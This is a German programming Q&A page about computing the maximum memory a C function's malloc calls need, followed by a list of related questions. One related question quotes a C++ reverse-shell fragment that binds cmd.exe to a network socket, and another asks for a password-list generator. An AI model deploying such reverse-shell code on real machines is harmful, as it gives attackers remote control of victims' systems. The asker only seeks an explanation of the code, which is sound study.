C-Code maximalen Speicherbedarf berechnen?

Hey, also ich hab folgenden C-Code gegeben:

void c_function(int32_t x) {

int32_t *a, *b;

if(x >= 0) {

a = malloc(5 * sizeof *a);

...

} else {

b = malloc(18 * sizeof *b);

...

}

... // evtl. weitere Anweisungen,

// die a oder b betreffen

}

Jetzt komme ich auf 32*5+32*18 = 736 Bits Speicherbedarf , stimmt dies so ?

Gruß

20.06.2023, 16:29

EDIT: natürlich mein ich den maximalen Speicherbedarf in bezug auf a und b, sry

2 Antworten

Vom Fragesteller als hilfreich ausgezeichnet

BorisG2011

20.06.2023, 16:44

Die Aufrufe stehen in unterschiedlichen Zweigen einer Fallunterscheidung. Es wird also niemals sowohl an a als auch an b Speicher zugewiesen. Infolge dessen scheint es mir richtig, den Speicherbedarf für jeden Zweig der Fallunterscheidung extra zu berechnen und sodann nicht zusammenzuzählen, sondern den größeren Wert als maximalen Bedarf zu nehmen.

Woher ich das weiß:Berufserfahrung – Softwareentwickler

Jathe677

Fragesteller

20.06.2023, 16:48

Ah stimmt macht sinn, danke, wenn ich das Programm umschreiben würde, dass es ohne den heap arbeitet , also ohne malloc, dann würde meine Rechnung aufgehen oder ?

Also z.B so :

void c_function(int32_t x){
	int32_t a[5];
	int32_t b[18];
	if(x >= 0){


	}else{


	}
}

Die Struktur der Funktion ist ja somit glaube ich auch unverändert.

BorisG2011

20.06.2023, 16:57

@Jathe677

Ja, dann würde deine Rechnung aufgehen: Du erzeugst zwei Arrays und musst den Bedarf beider Arrays addieren.

Wurde euch eigentlich gesagt, dass bei der Speicherreservierung mit malloc zusätzlich zur Größe des angeforderten Speichers einige Byte für Verwaltungszwecke reserviert werden? Die Größe dieses zusätzlichen Speichers hängt allerdings von der Rechnerarchitektur ab und ist bei 64-bit-Architekturen etwas größer als bei 32-bit-Systemen. Insofern erwarte ich nicht, dass das bei Schulübungen berücksichtigt wird.

KarlRanseierIII

Von gutefrage auf Grund seines Wissens auf einem Fachgebiet ausgezeichneter Nutzer

Programmiersprache

20.06.2023, 20:54

Du hast entweder den einen oder dne anderen Fall, also max (5*sizeof( int32_t *)) ,18*sizeof( int32_t)), was 18*sizeof(int32_t *) ist.

Beachte, daß für die Größe eines int32_t * das Datenmodell relevant ist.

Ähnliche Fragen

Heap Speicherverbauch einer Funktion?

Hey, ich hab folgende Funktion in C gegeben :

void c_function(int32_t x) {

int32_t *a, *b;

if(x >= 0) {

a = malloc(5 * sizeof *a);

...

} else {

b = malloc(18 * sizeof *b);

...

}

... // evtl. weitere Anweisungen,

// die a oder b betreffen

Nun sind zum Heap folgende Informationen gegeben:

Der Heap verwaltet den Speicher in Blöcken mit einer Größe von jeweils

16 Bytes und die Länge von Zeigern ist 4 Byte.

Nun soll ich berechnen wie groß der maximale Speicherbrauch der Funktion ist. Dafür hab ich den Else fall in Betracht gezogen : 4 Byte (Int32_) * 18 = 72bytes, da wir Blockgröße von 16 Byte haben -> 16*5 = 80 Bytes (wir müssen 80 Bytes reservieren, kleinster passender Block) . Nun müssen wir ja noch 4 Bytes für den zeiger auf b dazu addieren. Also 84Bytes. In den Lösungen wurden 2*4 Bytes für die Zeiger berechnet. Woher kommen die anderen 4 Bytes ? Wird am Anfang auch auf a ein Zeiger gesetzt? Ich kenne mich nicht sonderlich gut aus mit C, aber das wäre meine Vermutung. int32_t *a müsste doch ein zeiger auf a setzen.

Gruß

...zur Frage

Warum geht dieser VBA-Code nicht?

Kann man keine If-Anweisungen in If-Anweisungen packen oder wieso geht der Code nicht?

Als Fehlermeldung kommt "Else ohne If" und das Else if ganz links am Rand wird markiert.

...zur Frage

Was bedeutet dieser Code grob - Reverse Shell?

Tach, ich habe mir aus langeweile den Code einer Reverse Shell in c++ angesehen und ich frage mich was folgender Code bedeutet. Ich verstehe nur einzelne Teile und ich würde gerne eine grobe Erklärung bekommen, was der Code tut. (vollen Code auf https://github.com/dev-frog/C-Reverse-Shell/blob/master/re.cpp)

if (WSAConnect(mySocket, (SOCKADDR*)&addr, sizeof(addr), NULL, NULL, NULL, NULL)==SOCKET_ERROR) {
	            closesocket(mySocket);
	            WSACleanup();
	            continue;
	        }
	        else {
	            char RecvData[DEFAULT_BUFLEN];
	            memset(RecvData, 0, sizeof(RecvData));
	            int RecvCode = recv(mySocket, RecvData, DEFAULT_BUFLEN, 0);
	            if (RecvCode <= 0) {
	                closesocket(mySocket);
	                WSACleanup();
	                continue;
	            }
	            else {
	                char Process[] = "cmd.exe";
	                STARTUPINFO sinfo;
	                PROCESS_INFORMATION pinfo;
	                memset(&sinfo, 0, sizeof(sinfo));
	                sinfo.cb = sizeof(sinfo);
	                sinfo.dwFlags = (STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW);
	                sinfo.hStdInput = sinfo.hStdOutput = sinfo.hStdError = (HANDLE) mySocket;
	                CreateProcess(NULL, Process, NULL, NULL, TRUE, 0, NULL, NULL, &sinfo, &pinfo);
	                WaitForSingleObject(pinfo.hProcess, INFINITE);
	                CloseHandle(pinfo.hProcess);
	                CloseHandle(pinfo.hThread);
	

	                memset(RecvData, 0, sizeof(RecvData));
	                int RecvCode = recv(mySocket, RecvData, DEFAULT_BUFLEN, 0);
	                if (RecvCode <= 0) {
	                    closesocket(mySocket);
	                    WSACleanup();
	                    continue;
	                }
	                if (strcmp(RecvData, "exit\n") == 0) {
	                    exit(0);
	                }
	            }

...zur Frage

Programmieren Studium Klausur Hilfe?

Hallo Leute,

Ich schreibe schon sehr bald eine Klausur um Modul Programmierung 1.

Ich bin ehrlich, ich bin sehr verloren was das angeht. Es werden 3 Aufgaben drankommen

Codierung

Erklärungen

Code Analyse

Wir haben arrays, Pointer, Funktionen, Schleifen, Anweisungen, Zeichenketten, struct, heap, malloc, Algorithmen, Switch, etc. Behandelt.

Kann mir da jemand ein paar Tipps geben, irgendwelche gute Seiten die es gut erklären, Zusammenfassungen oder gar Klausuren die er/sie mal geschrieben hat (oder probeklausuren)?

Da wäre ich ich sehr dankbar!

...zur Frage

zeiger in c?

ich verstehe zeiger einfach net hier in dem code z.b

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

struct student{
    int *name;
    char geschlecht;
    

};

int main() {
    struct student *student1 =malloc(sizeof (struct student));
    if (student1 ==0){
        printf("Kein Speicher ");
        return -1;

    }
    student1->name= malloc(sizeof(char)*50);
    if(student1->name==0){
        printf("Kein Speciher");
        return -1;
    }

    strcpy(student1->name,"Pal");
    student1->geschlecht = 'w';
    

    printf("Name :%s\n",student1->name);
    printf("Gechlecht:%c\n",student1->geschlecht);
   
    return 0;
}

welchen sinn hat welcher zeiger ?


    struct student *student1

bezieht sich der zeiger auf struct student oder auf student1 ?Warum muss der überhaut dort hin

...zur Frage

Warum funktioniert diese Pipe in C nicht?

Hier der Code, es wird leider nur im ersten Durchlauf der For-Schleife etwas geschrieben.

for (int m = 0; m < n; m++) {
  int c = fork();
  if (c == 0) {
   int sum = func(some value);
   char csum[10];
   sprintf(csum, "%d", sum);
   close(pdf[0]);
   printf("OFF %i SUM %i CSUM %s PID %i PPID %i\n",off,sum,csum,getpid(),getppid());
   write(pdf[1], csum, sizeof(csum));
   close(pdf[1]);
   exit(0);
  } else {
   close(pdf[1]);
   char buf[10];
   memset(buf,0,10);
   wait(NULL);
   read(pdf[0], buf, 10);
   close(pdf[0]);
   printf("%s\n", buf);
  
  }

 }

...zur Frage

C++ Paritätsbit Aufgaben hilfe?

Hi,

ich brächte mal hilfe und zwar habe ich seit 5 wochen in der schule Programmieren. Dazu hat mir mein Lehrer die Aufgabe erstellt eine Dezimal Zahl als erstes in Binär zu übersetzen und dann die Parrität zu vergleichen. Mein Lehrer erklärt leider nicht viel deswegen verstehe ich die erste For Schleife nicht ganz. Wenn mir die Jemand erklären kann wäre das gut. Dazu funktioniert das so noch nicht da wenn ich 445 als zahl eingebe die zahl als 32 bit wie folgt ausgegeben wird:

0000 0000 0000 0000 0000 0001 1011 1101 = Zahl in 32bit binär

Even Even Even Even = Parität

Aber es müsste raus kommen in der Parität spalte

Even Even Odd Even

Dies wäre soweit mein Lösungsansatz.

#include <iostream>
#include <cstdlib>
                                                                                                                                                                                                                   
int i;
int a;
int bits[sizeof(int)*8];
unsigned int unum;
int num;
                                                                                                                                                                                                                   
int main (int nargs, char **args) {
        num=atoi(args[1]);                                                                                                                                                                                         
        unum = (unsigned int)num;
                                                                                                                                                                                                                   
        for(int i=0; i<sizeof(int)*8; i++) {
                bits[i]=unum % 2;                                                                                                                                                                                  
                unum /=2;                                                                                                                                                                                          
        }                                                                                                                                                                                                          
        if(bits[1,2,3,4] == bits[5,6,7,8]) {
                std::cout << "Even\n";
                                                                                                                                                                                                                   
        } else {
                std::cout << "Odd\n";
        }                                                                                                                                                                                                          
        if(bits[9,10,11,12] == bits[13,14,15,16]) {
                std::cout << "Even\n";
        } else {
                std::cout << "Odd\n";
        }                                                                                                                                                                                                          
        if(bits[17,18,19,20] == bits [21,22,23,24]) {
                std::cout << "Even\n";
        } else {
                std::cout << "Odd\n";
        }                                                                                                                                                                                                          
        if(bits[25,26,27,28] == bits[29,30,31,32]) {
                std::cout << "Even\n";
        } else {
                std::cout << "Odd\n";
        }                                                                                                                                                                                                          
        return 0;
}

...zur Frage

if-else if wird in map Funktion beides ausgeführt - warum?

Hallo,

in React (NextJS) habe ich eine einfache "if-else if" Anweisung. Eigentlich sollte ja die "else if" Anweisung falls die if Anweisung "true" ist garnicht ausgeführt werden. Aber egal wie ich die Bedingungen umschreibe, es werden immer beide Anweisungen ausgeführt... Kann mir hierbei jemand weiterhelfen?

Hier ist der Code der Komponente:

und das sind die dazugehörigen console.logs:

MFG

...zur Frage

C++ alle Kombinationen eines Strings mit der Länge L mit zurücklegen?

Hallo,

ich möchte so etwas wie einen Password-List-Generator schreiben, komme aber nicht auf die richtige Rekursionsfunktion.

Es soll zum Beispiel aus einem Zeichensatz wie "abcdef" und der information L = 9 Passwörter im vector<string> zurückgegeben werden, bei denen jeder der Buchstaben an jeder Position 0, 1, .., 9 mal vorkommt, wie beim Passwortgenerator "crunch".

Hat mir jemand ein Code-Beispiel parat?

Viele Grüße

Lukas Z

...zur Frage

Kann mir jemand helfen?

Ich soll ein Struktogramm für diese Aufgabenstellung erstellen: Erstellen Sie einen Algorithmus, der den Benutzer nach zwei Zahlen Z1 und Z2 fragt und der anschließend ausgibt, ob

• Z1 größer als Z1 ist, oder

• Z1 kleiner als Z2 ist, oder

• beide Zahlen gleich sind.

Mein Struktogramm sieht so aus:

Bei der Auswertung im Programm bekomme ich immer Fehler und ich weiß nicht was an meinem Struktogramm falsch ist:

...zur Frage

Wie komme ich auf den Wert und Datentyp der Aussagen?

Kann mir jemand bei dieser Aufgabe helfen?

es muss der Wert und der Datentyp mit Begründung angeben werden, ich weiß jedoch nicht wie ich es begründen kann.

Vielen Dank im Voraus!

...zur Frage

C Array Payload (size as needed)?

Moin,

Unser Professor hat uns letztens in der Vorlesung gezeigt, wie man ein Struct mit beliebig viel Inhalt erstellen kann. Das Struct hatte als Inhalt ein char-Array mit einem Platz (char data[1];). Dann konnte man mit malloc() beliebig viel Speicherplatz zuweisen und weil es in C ja keine Bereichsüberprüfung gibt wie in Java, konnte man dann in data so viel Speichern, wie man will. Aber, wenn man in data jetzt z.B einen Integer oder einen Pointer speichern will, muss man data ja auch irgendwie casten. Das habe ich nicht ganz verstanden. Hier der Code:

typedef struct {

int size;

unsigned char data[1];

}* ObjRef

ObjRef a;

a = malloc(sizeof(ObjRef) + sizeof(int));

*(int*) a -> data = 5;

*(int*) a -> data = 5; ~ Diese Zeile verstehe ich nicht ganz, wäre nice wenn mir jemand erklären könnte, warum man hier so casten muss.

...zur Frage

Frage zu struct array in C, warum wird Zahl nicht in Konsole ausgegeben?

Hallo,

ich habe eine Frage zu struct array in C:

Version1: Wenn ich die Zahl 1 so (dynamisch mit malloc) in dem struktur array daten speichere und in der Konsole ausgebe dann klappt es.

# include<stdio.h>
# include<string.h>
# include<stdlib.h>
# include<math.h>
# define MAX_ANZAHL 10

typedef struct messwert
{
    int number;
    
} MESSWERTE;


int main()
{

   MESSWERTE *daten =malloc(MAX_ANZAHL*sizeof(daten));
   daten[0].number=1;
   printf("%d\n", daten[0].number);

    return 0;
}

Version2: Aber wenn ich die Zahl 1 mit einem Struktur Array mit einer festen Größe speichere und printen will, kommt da in der Konsole nix.

# include<stdio.h>
# include<string.h>
# include<stdlib.h>
# include<math.h>
# define MAX_ANZAHL 10

typedef struct messwert
{
    int number;
    
} MESSWERTE;


int main()
{
   MESSWERTE *daten [MAX_ANZAHL];
   daten[0]->number=1;
   printf("%d\n", daten[0]->number);
   
    return 0;
}

Meine Frage ist wieso ich bei der Version 2 die Zahl 1 nicht in der Konsole ausgegeben wird.

Ich komme leider selbst nicht drauf. Danke!

...zur Frage

C Quadratische Gleichung Rechner?

Ich habe eine Formel zur lösung:

X¹,² = (-b±sqrt(b²-4ac))/2a

falls für die Diskriminante gilt: b²-4ac>=0

Ist der Wert (b² - 4ac>=0) negativ, dann keine reelle Lösung

Wie schreibe ich das am besten als c code? Denn irgendwie kriege ich nur fehler.

Hier zum Testen ob es klappt:

2x²-2x-1.5 = 0 Lösung = x¹=1.5, x²=-0.5

...zur Frage